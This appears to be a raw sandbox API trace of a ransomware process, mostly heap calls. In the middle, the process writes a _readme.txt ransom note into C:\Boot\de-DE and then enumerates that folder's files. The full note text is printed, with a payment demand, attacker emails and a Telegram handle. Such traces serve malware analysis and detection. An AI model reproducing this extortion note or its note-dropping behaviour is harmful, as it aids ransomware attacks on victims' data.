dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.337] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.337] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.338] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.338] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.339] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.339] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.340] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.340] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.340] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0116.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.341] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.341] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.341] PathFindFileNameW (pszPath="") returned="" [0116.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c20 [0116.341] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.341] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x800) returned 0x39f3ef0 [0116.341] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x810) returned 0x39f46f8 [0116.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f46f8 | out: hHeap=0xd10000) returned 1 [0116.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c20 | out: hHeap=0xd10000) returned 1 [0116.341] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.341] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.341] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x81c) returned 0x39dcb30 [0116.342] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0116.342] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.342] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.342] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0116.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x7d00) returned 0x39f7f20 [0116.343] lstrcpyW (in: lpString1=0x39f7f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.343] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.343] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f7f20 | out: hHeap=0xd10000) returned 1 [0116.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.343] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.343] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.343] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.343] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.343] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.344] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.344] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947c98 | out: hHeap=0xd10000) returned 1 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947c98 [0116.344] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d88 | out: hHeap=0xd10000) returned 1 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947d88 [0116.344] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0116.344] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, 